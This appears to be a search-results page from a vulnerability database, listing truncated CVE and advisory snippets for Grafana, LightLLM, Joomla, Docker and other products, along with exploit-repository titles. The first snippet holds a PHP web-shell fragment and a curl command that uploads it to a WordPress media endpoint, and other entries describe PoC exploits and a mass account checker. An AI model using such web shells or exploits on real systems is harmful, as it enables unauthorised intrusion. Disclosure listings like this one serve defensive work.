75875 matches found
CVE-2025-6085
Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...
CVE-2024-26026
CVE-2024-26026 BIG-IP Next Central Manager API 인증되지 않은 SQL 인젝션 링크: https://eclypsium.com/blog/big-vulnerabilities-in-next-gen-big-ip/...
CVE-2026-103396
bbs-go through version 4.4.6 is vulnerable to a permission bypass within the AdminMiddleware authorization logic. The root cause is that the dashboard.user.view permission rule incorrectly matches the /api/admin/user/synccount endpoint before the required dashboard.user.update rule is evaluated. ...
CVE-2026-103396 bbs-go through 4.4.6 Incorrect Authorization via /api/admin/user/synccount
bbs-go through 4.4.6 contains a permission bypass vulnerability in the AdminMiddleware authorization logic where the read-only dashboard.user.view permission rule matches the /api/admin/user/synccount endpoint before the intended dashboard.user.update rule. Authenticated users with only view...
CVE-2026-103396 bbs-go through 4.4.6 Incorrect Authorization via /api/admin/user/synccount
bbs-go through 4.4.6 contains a permission bypass vulnerability in the AdminMiddleware authorization logic where the read-only dashboard.user.view permission rule matches the /api/admin/user/synccount endpoint before the intended dashboard.user.update rule. Authenticated users with only view...
EUVD-2026-89989
LightLLM through 1.2.0 mounts reinforcement learning control routes on the public HTTP API without authentication checks. Unauthenticated attackers can call endpoints like /pausegeneration, /abortrequest, /flushcache, and /initweightsupdategroup to disrupt inference operations and wedge workers o...
CVE-2026-103270
LightLLM versions up to and including 1.2.0 are vulnerable to a missing authentication flaw on reinforcement learning (RL) control routes. When deployments are started with the --enable_rl flag, the software mounts specific control routes on the public HTTP API without requiring authentication ch...
CVE-2026-76570
The JCTables Joomla extension (version
EUVD-2026-89987
Joomla Extension - joomcode.com - Unauthenticated SQL injection in read and write queries in JCTables 1.21.1 - The front-end CRUD API controller performs no Joomla token validation and no authentication check on any task. Table names, column names, and values are taken directly from request...
CVE-2026-76570 Joomla Extension - joomcode.com - Unauthenticated SQL injection in read and write queries in JCTables < 1.21.1
Joomla Extension - joomcode.com - Unauthenticated SQL injection in read and write queries in JCTables 1.21.1 - The front-end CRUD API controller performs no Joomla token validation and no authentication check on any task. Table names, column names, and values are taken directly from request...
CVE-2026-13720
A flaw was found in Grafana. An authenticated user with Editor permissions can set file-provisioning metadata when creating a dashboard through the dashboard API due to a missing authorization check. Consequently, the dashboard is treated as externally managed by configuration files, preventing...
pki-core: Dogtag PKI v2 REST ACL filter's reverse-lexicographic tie-break lets a CA Agent invoke the admin-only raw profile creation endpoint
A flaw was found in pki-core. The v2 REST ACL filter selects a tie-breaking permission for colliding literal and wildcard ACL keys using lexicographic string comparison rather than specificity, causing a wildcard-mapped permission to override a more specific literal-mapped permission when both...
Kwetsbaarheid verholpen in Cisco Catalyst SD-WAN Manager
Cisco has identified a vulnerability in the Cisco Catalyst SD-WAN Manager. This vulnerability resides in an API of the Cisco Catalyst SD-WAN Manager. Due to improper handling of URI encoding, unauthorized malicious actors can circumvent authentication mechanisms. This allows malicious...
CVE-2026-13719
A flaw was found in Grafana. An authenticated user can query the alert rules list Application Programming Interface API to access alert rules stored in restricted folders they lack permission to read. When access restrictions are evaluated and a user has no readable folders, folder filtering is...
CVE-2025-39247
CVE-2025-39247 標的: HikCentral Professional（HCMP、中央VMSサーバー） CVE: CVE-2025-39247 — アクセス制御の脆弱性 CVSS 3.1: 8.6（AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N） 影響を受けるバージョン: V2.3.1 – V2.6.2 および V3.0.0 修正済み: V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247 公開日: 2025-08-28 分析日: 2026-05-21 1. オープンソースインテリジェンス調査...
CVE-2025-9074
CVE-2025-9074: Docker Engine API Unauthenticated RCE Severity : CRITICAL | CVSS Score : 9.8 estimated | Affected Versions : Docker Desktop 4.44.3 A proof-of-concept exploit for CVE-2025-9074, an unauthenticated Remote Code Execution vulnerability in Docker Engine API that allows privileged...
RtlHijack
RtlHijack Rtl 함수를 의도와 다른 방식으로 사용하여 대체 읽기 및 쓰기 프리미티브를 시연하는 스크립트가 포함된 저장소입니다. RtlFillMemory.c RtlFillMemory는 대상 메모리에 대한 포인터, 쓸 바이트 수, 단일 바이트 값이라는 세 가지 인자를 받습니다. 지정된 메모리 블록에 바이트 하나만 씁니다. RtlInitializeBitMapEx.c RtlInitializeBitMapEx와 RtlFillMemory를 조합하여 사용하는 쓰기 프리미티브입니다. 먼저, 문자열을 16바이트 청크로 반복 처리하며 각...
fbchecker
ЗАБРОШЕНО Facebook заблокировал множественный доступ через их API ПРОВЕРКА МАССОВЫХ АККАУНТОВ FACEBOOK Проверка массовых аккаунтов Facebook без блокировки аккаунта Простая установка: apt install git php -y git clone https://github.com/fdciabdul/fbchecker cd fbchecker php fbcheck.php Использование...
CVE-2025-0868
Penetration Testing Project Report: Exploiting CVE-2025-0868 DocsGPT RCE via JSON Eval 1. Introduction A critical Remote Code Execution RCE flaw CVE-2025-0868 was disclosed on February 20, 2025, in the open-source DocsGPT library, caused by unsafe use of eval when parsing JSON payloads. Key...